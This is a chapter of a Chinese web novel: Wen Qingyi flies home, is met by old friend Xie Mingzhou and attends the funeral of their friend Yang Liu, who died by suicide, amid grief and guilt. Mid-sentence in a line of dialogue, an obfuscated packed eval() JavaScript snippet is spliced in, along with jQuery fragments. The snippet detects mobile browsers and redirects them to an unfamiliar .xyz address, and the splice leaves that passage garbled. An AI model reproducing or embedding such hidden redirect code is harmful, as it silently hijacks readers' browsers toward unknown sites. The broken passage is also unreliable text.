热风随着气流在玻璃门开合的瞬间涌进，侵袭机场大厅内本就不足的冷气。
温清漪跟在人群后面走得很慢，不时低头看一眼手机。
界面停留在和谢铭洲的微信聊天上，最后两条消息是她发的。
一张航班截图，和一句希望他来接机的请求。
对面至今没回。
温清漪原也没抱什么希望，甚至在消息发出后就开始后悔，但到底没撤回。
她自嘲笑笑，收起手机看了眼指示牌，往出租车上客区的方向走。
然而走出没两步，余光瞥见角落里站了个人。
她几乎是下意识扭头去看，谢铭洲穿了一身黑，看起来比从前瘦一些，衬得人又高了几分。
他也在看温清漪，或者说从她走出来的那刻起，他的目光就紧紧追随。
人群像一条河横亘在两人之间，温清漪停下脚步就这么与他四目相对。
她自北向南一路风尘仆仆赶来，航班落地时天将明，此刻升起的晨光从谢铭洲身后的玻璃窗外兜头洒下，刺得眼眶微微发酸。
等人群散得差不多，谢铭洲走了过来。
分别三年，他和她见面后说的第一句话是：“你不热吗？”
想象中的尴尬与不知所措没有发生，询问就和朋友的关心一样平常，甚至还有几分调侃。
“确实快热死了。”温清漪还没思考好如何回答，大脑就先做出反应。
黑色针织连衣裙外还披了件同色风衣，一落地就知道穿多了，这里温度远比北城高。
“外套先脱了，”谢铭洲伸手接过她的斜挎包，拎在手里掂了掂，“你还真是一如既往极简派，包里只有手机和充电宝？”
“差不多，反正晚上就走，没什么要带的。”她将外套搭在一边手臂上，另一只手拿回包背在肩上。
车停在地库，温清漪没有行李，走扶梯更方便。
两人一前一后各站一块踏板，即便如此她也还是比谢铭洲矮了一小截。
她戳了戳谢铭洲的肩膀，忍不住问：“你不是不来接我吗？消息也不回。”
“昨晚喝了咖啡半夜失眠，今早恰好路过。”他瞎话张口就来。
温清漪哼了声，“那算你疲劳驾驶，你敢开我也不敢坐。”
两人说着走到谢铭洲车旁，黑色SUV，挂的是北城牌照。
“我口是心非，一想到我是你在南城唯一的好朋友，其实心里很乐意来接你，这样总行了吧？”谢铭洲自顾自先上车，“再磨蹭，不坐我走了。”
温清漪嘀咕着“好朋友”的称呼，心里满是不服气。
正要拉开后座车门，却听前面人又说：“坐副驾，真把我当司机了。”
她不情不愿绕至副驾，“这不是怕你女朋友介意嘛。”
谢铭洲有些好笑，伸手从后座捞了个腰垫扔给她，“想打听我感情状况就直说，少造谣。倒是听说你有个追求者，还是大学老师？”
“谁告诉你的？”温清漪有些惊讶。
他们三年没联系，就连微信都是前几天才重新加回来。
“忘了，我们在北城共同的好友太多，一个个都喜欢来跟我说你的近况。”
温清漪有些恼火，自己的事情被透露得一干二净，结果身边朋友从来没和她说过谢铭洲的事。
“看来他们都很有眼力见，从不在我面前提起你，大概怕我生气。”
“那天打你电话的时候，我也以为你会挂掉。”谢铭洲声音轻了些，莫名带了份小心翼翼。
像是即将触及伤心事的试探。
氛围悄然变化，先前还是轻松愉快的语调，转瞬就消失不见。
温清漪收起笑，态度不再随意，甚至有几分庄重，“确实不想接，但我们这么久不联系，你突然打电话应该是有急事。”
可谁能想到，电话接通，却听闻杨柳的死讯。
空气静默半晌，谢铭洲开了点窗。
热风吹在脸上，温清漪靠着玻璃向窗外望去，眼神有些失焦。
从机场到镇上驾车通常需要将近两个小时，清晨车少，来起开更畅通，沿路景象和记忆中的重叠。
她以为自己走了十年之久，这里会有什么变得不同，可好像大部分事物还保持原样，有些人也停留在原地。
比如杨柳，最后一次和她见面已经是好几年前的事了。
那年温清漪高考结束，和母亲收拾了东西一起去车站。
走的那天，杨柳跟着谢铭洲去送她们。分别前她对温清漪说：“姐姐，我以后要考到北城去找你。”
后来杨柳确实去了北城，但只是作为一个游客，短暂地欣赏梦想破碎后向往的城市。
时间一到返回南城，仅此而已。
此后她就永远留在南城，直到生命结束。
思绪百转千回，温清漪斟酌再斟酌，终于问出了口：“她是怎么死的？”
恰逢红灯，谢铭洲踩住刹车，长叹口气，“自杀。”
拂面的热风顷刻消散，脊背渗出丝丝寒意。
温清漪听到了最不想听见的答案。
她一时忘了如何回应，张了张嘴没能出声。
所有的惊讶与不敢置信，在初闻杨柳死讯后已经翻涌过了。
对于死因的各种猜测，她不是没有做过假想。
但当“自杀”二字作为答案盖棺论定，带来的冲击远大过她以为。
“如果当初她能留在北城，一切会不会不一样？”温清漪再次开口，声音变得哽咽。
谢铭洲没有立时回答，车上氛围有些沉重。
“如果我能和她保持联系，是不是也会不同？”她忍不住又问。
“别多想，你起得早，再睡会儿。”
他关上车窗，打开空调，调低广播音量。
话题就此结束，狭小的空间只剩轻叹。
等温清漪再次醒来，已经到了殡仪馆。
她睡得不是很熟，但睁开眼仍觉得恍惚，此刻天光早已大亮。
看了眼时间，不过八点半。
“我们不下去吗？”温清漪解开安全带。
“走吧。”他熄了火下车，绕到副驾帮她开门。
温清漪刚站稳，一句谢谢尚未出口，就听谢铭洲问：“可以抱你一下吗？”
她还在发懵，没来得及反应，就落入一个温暖的怀抱。
熟悉的气息包裹着她，没有想象中的抗拒，反而觉得格外心安。
他轻拍着她的肩膀，声音也很轻，“温清漪，杨柳自杀与你无关，我不知道她留在北城的结局会怎样，但如果每件事都要做假设，那令人后悔的时刻实在太多了。”
安慰的话语落入耳中，像一双宽大有力的手托住即将下坠的身躯。
温清漪心底翻涌的不安与自我怀疑渐自退去。
她将脑袋埋在他胸前，声音闷闷的，“我后悔的事的确有很多。”
后面的话没说出口，谢铭洲已经先松开了她。
温清漪望了望自己悬在半空还没能回抱住他的手，不着痕迹地放下。
心下却是一片怅然，不禁埋怨这个拥抱太短暂。
“后悔的事就忘记，你现在这样挺好的。”他脸上一片泰然自若。
“那你呢？满意现在的生活吗？”温清漪不甘心，偏要追问出答案。
他锁了车，大步朝入口走，语气变得漫不经心，“就那样，还行吧。”
走到半路，有人叫住谢铭洲。
温清漪跟着脚步一顿，循声去看，一男一女挽着手过来，是以前的高中同学。
女的她记得是叫顾晓芸，男的只觉面熟，名字一时没想起来。
那两人见到温清漪均是一愣。
顾晓芸面露惊诧，“周晗晋你也来了？真是不可思议。”
男的同样感到意外，“肯定是谢铭洲告诉你的，也就他有你联系方式了。”
重回故乡偶遇以前的同学、长辈，这种事都在温清漪的预料之中。
她扬起一个笑，“是啊。对了我改名了，叫我温清漪吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635289|172657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“跟你妈姓呀？改头换面完，连南城都不回了，”顾晓芸一聊起来就收不住，“毕业以后的同学聚会，你是一次都没出现过。”
“我们该先过去了，叙旧的话晚点再说也不迟。”谢铭洲适时打断这场对话。
温清漪和他走在后面，小声问：“顾晓芸旁边那男的叫什么？他俩是什么关系？”
“那是杨飞，他和杨柳家还有点亲戚关系呢。高中那段时间有女生说他像郭富城，你不记得了？他们结婚两年多，现在女儿都一岁了。”
“嗯……”温清漪想了半天，不禁感慨，“果然大多数的久别重逢都是幻灭现场。”
“可你没变。”谢铭洲这句话似乎意有所指。
温清漪没搭腔，只管往前走。
前往告别厅的台阶长而缓，向上延伸，不见尽头。
数团白色烟雾自后山升起，耳边哀乐混杂，有人吹着《友谊地久天长》，也有人演奏《奇异恩典》。
多少人死后场面比生前盛大，温清漪不禁想，或许杨柳也是这样吗？
在漫长的台阶上，谢铭洲始终与她同行，“你晚上几点走？”
“四点半的飞机，到时候我自己打车去就行了。”
“我下午没事，可以送你。”
“晚点再说吧。”
步入三号告别厅，比起辨认在场众人，温清漪的目光先扫过两旁的花圈。
她视线停留在写有自己名字的那条挽联上——“沉痛悼念杨柳，好友温清漪全家敬挽。”
抬头向正中望去，杨柳的遗像就挂在那里。
看第一眼时温清漪知道那是杨柳没错，可看久了又觉得她变了不少。
这种变化与长相和年龄无关。
她记忆中的杨柳目光坚定，而照片中的人眼神黯淡，面容倦怠。
又或许这只是多年未见的错觉。
杨柳的父母就在一旁，杨母看起来格外憔悴，杨父则显得有些麻木。
谢铭洲带着温清漪过去，杨父只点头示意，转头又去接待别的亲朋。
杨母一见温清漪，眼眶就红了。
她嘴唇翕动，双手微颤，“如果杨柳知道你来了，一定会很高兴的。”
温清漪犹豫着是不是应该握住她的手聊表安慰。
但潜意识里她并不想这么做，甚至不愿表露出过多的关切。
杨柳会走到今天，杨父杨母有着不可推卸的责任。
可不论杨柳父母如何对待杨柳，在他们眼里，温清漪一直是女儿生前最好的朋友。
偏偏旧日好友不知彼此近况，再见竟是在葬礼上。
只有不明真相的长辈还让记忆停留在过去。
“如果你能早点回来看她，或许她就不会自杀了。”杨母握住温清漪的手腕，力道紧得像攥住一根迟来的救命稻草。
“杨姨，”谢铭洲当即拉开杨母，挡在两人中间，“您请节哀。”
杨母意识到自己情绪失控，表情有些勉强，“抱歉。”
“节哀。”温清漪维持着面上的笑，语气却略显生硬，手腕被握住的地方留下一道红痕。
不痛不痒，但醒目刺眼，杨母的那句话就和这道暂时留下的印迹一样，挥之不去。
即便温清漪保持冷静走完后面的流程，可每个动作在谢铭洲看来都格外机械。
谢铭洲不由分说牵住她，“温清漪我再说一次，杨柳的死与你无关，不要因为旁人转移责任的一句话而内疚。”
他不顾四周投来的目光，走出告别厅也没松手。
那双手温热干燥，动作很轻，但握住她时坚定决绝。
“从离开南城起，这里的一切就都与你无关了，这话可是你自己说的。”
温清漪眼眶有些湿润，她觉得自己被坏情绪影响的心情似乎又被托住了。
不过是转瞬间的念头，她突然好想再抱一次谢铭洲。
想要那种用力长久的，能够与他身体贴合的拥抱。
哪怕只是一下就好。